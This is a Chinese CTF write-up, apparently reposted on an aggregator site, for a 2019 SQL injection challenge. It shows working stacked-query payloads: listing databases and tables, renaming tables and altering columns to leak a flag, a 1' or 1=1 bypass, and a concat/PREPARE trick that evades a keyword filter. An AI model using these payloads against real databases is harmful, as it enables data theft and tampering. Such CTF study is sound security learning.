[强网杯 2019]随便注1

打开题目

输入1

 输入1',页面报错,输入1' #页面正常

说明1为注入点且注入方式为字符型的单引号注入

判断列名

输入

1' order by 2 # 页面正常

1' order by 3 #页面报错

说明列名字段数为2

接下来我们尝试用联合注入的方式爆出数据显示位

输入1' union select 1,2 #

可以看到过滤了很多东西

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

说明我们用不了联合注入,因为过滤了union

我们尝试堆叠注入来查看有多少个数据库

1';show databases; #

我们查看表名

1';show tables; #

可以看到当前数据库下有两个表

1'; show columns from `1919810931114514`;#

这里查询表名使用反单引号
注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

在这里使用 ` 而不是 ’ 的一些解释:

两者在linux下和windows下不同,linux下不区分,windows下区分。

单引号 ’ 或双引号主要用于 字符串的引用符号

反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)

有MYSQL保留字作为字段的,必须加上反引号来区分!!!

如果是数值,请不要使用引号。

可以看到有flag这个列

虽然我们已经得到了flag了,但是select被过滤了,而show命令又不能查看值。

这里看wp有一个其他思路

1.

让程序中已经存在的select语法帮我们进行查询,把words改名为其他,191这个表改名为words,然后再添加id字段,将flag字段改为data。

    先将 words 改为别的名字 比如 words2 或者其他
    然后将 1919810931114514 改为 words
    把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
    在这之前当然要先把words表改名为其他


payload:

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100); #

"ALTER TABLE"用于更改表的结构,例如添加、删除或修改表的列,更改列的数据类型,添加或删除索引等。

VARCHAR(100)"是数据库表中列的数据类型和长度的定义。具体来说,"VARCHAR"表示这是一个可变长度字符串数据类型,而括号中的"100"表示该列可以存储的最大字符数为100

"int(10)":这表示这是一个整数数据类型。括号中的数字(10)通常用于指定显示的宽度,但在大多数数据库管理系统中,它只是用于显示目的,而不会影响实际存储或范围。这个整数列将存储整数值。

"DEFAULT '12'":这表示当插入一行时,如果没有为这个列提供值,将使用默认值'12'。这意味着如果没有明确指定值,新插入的行将自动在这个列中包含整数值12。

综合起来,"int(10) DEFAULT '12'"定义了一个整数列,它将存储整数值,并且如果没有提供值,则默认值为12。这意味着在插入新行时,如果没有显式提供这个列的值,它将自动设置为12。

然后我们用万能密码登录一下

1' or 1=1 #

得到flag

2.用concat拼接

1’;use supersqli;set @sql=concat('s','elect flag from 1919810931114514');PREPARE stmt1 FROM @sql;EXECUTE stmt1 #

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/161131.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

开启AWS的ubuntu服务器的root用户登录权限

设置root用户密码 输入以下命令修改root用户密码 sudo passwd root输入以下命令切换到root用户 su root仅允许root用户用密码登录 输入以下命令编辑ssh配置文件 vi /etc/ssh/sshd_config新增以下配置允许root用户登录 PermitRootLogin yes把PasswordAuthentication修改为…

项目实战:service业务逻辑组件引入

1、第一层DAO层 1.1、FruitDao接口 package com.csdn.fruit.dao; import com.csdn.fruit.pojo.Fruit; import java.util.List; //dao :Data Access Object 数据访问对象 //接口设计 public interface FruitDao {void addFruit(Fruit fruit);void delFruit(String fn…

k8s之service五种负载均衡byte的区别

1,什么是Service? 1.1 Service的概念​ 在k8s中,service 是一个固定接入层,客户端可以通过访问 service 的 ip 和端口访问到 service 关联的后端pod,这个 service 工作依赖于在 kubernetes 集群之上部署的一个附件&a…

跨境电商年底风控升级,测评养号如何选择稳定且纯净的IP环境?

随着年底跨境电商平台风控的升级,许多测评团队的账号存活率有所下降。对于自养号测评的卖家来说,IP的重要性不言而喻。除了设置参数阻断,IP的质量也直接影响到账户的稳定性和成功率。因此,在年底这个特殊时期,所有测评…

C++入门学习(1)命名空间和输入输出

前言 在C语言和基本的数据结构学习之后,我们终于迎来了期待已久的C啦!C发明出来的意义就是填补一些C语言的不足,让我们更加方便的写代码,所以今天我们就来讲一下C语言不足的地方和在C中的解决办法! 一、命名空间 在学习…

如何避免 JavaScript 中的内存泄漏?

一、什么是内存泄漏? JavaScript 就是所谓的垃圾回收语言之一,垃圾回收语言通过定期检查哪些先前分配的内存仍然可以从应用程序的其他部分“访问”来帮助开发人员管理内存。垃圾回收语言中泄漏的主要原因是不需要的引用。如果你的 JavaScript 应用程序经…

Linux应用开发基础知识——交叉编译与gcc编译(一)

前言: 源文件需要经过编译才能生成可执行文件。在 Windows 下进行开发时,只需 要点几个按钮即可编译,集成开发环境(比如 Visual studio)已经将各种编译 工具的使用封装好了。Linux 下也有很优秀的集成开发工具,但是更多的时候是 直…

基于野马算法的无人机航迹规划-附代码

基于野马算法的无人机航迹规划 文章目录 基于野马算法的无人机航迹规划1.野马搜索算法2.无人机飞行环境建模3.无人机航迹规划建模4.实验结果4.1地图创建4.2 航迹规划 5.参考文献6.Matlab代码 摘要:本文主要介绍利用野马算法来优化无人机航迹规划。 1.野马搜索算法 …

章鱼网络进展月报 | 2023.10.1-10.31

章鱼网络大事摘要 1、Louis 成功竞选 NDC 的 HoM 议席,将会尽最大努力推动 NEAR 变革。2、章鱼网络受邀参加在土耳其主办的 Cosmoverse2023,分享 Adaptive IBC 的技术架构。3、2023年10月8日章鱼日,是章鱼网络主网上线2周年的纪念日。 …

运维知识点-MySQL从小白到入土

MySQL从小白到入土 mysql 服务器安装windows mysql 服务漏洞复现-mysql jdbc反序列化-权限绕过 mysql 服务器安装 https://dev.mysql.com/downloads/mysql/https://www.cnblogs.com/xiaostudy/p/12262804.html 点餐小程序腾讯云服务器安装mysql8 windows mysql 服务 net sta…

2023年【高压电工】报名考试及高压电工最新解析

题库来源:安全生产模拟考试一点通公众号小程序 高压电工报名考试考前必练!安全生产模拟考试一点通每个月更新高压电工最新解析题目及答案!多做几遍,其实通过高压电工作业考试题库很简单。 1、【单选题】 ()是指继电器不动作时处于…

register_parameter和register_buffer 详解

在参考yolo系列代码或其他开源代码,经常看到register_buffer和 register_parameter的使用,接下来将详细对他们进行介绍。 1. 前沿 在搭建网络时,我们 自定义的参数,往往不会保存到模型权重文件中,或者成为模型可学习…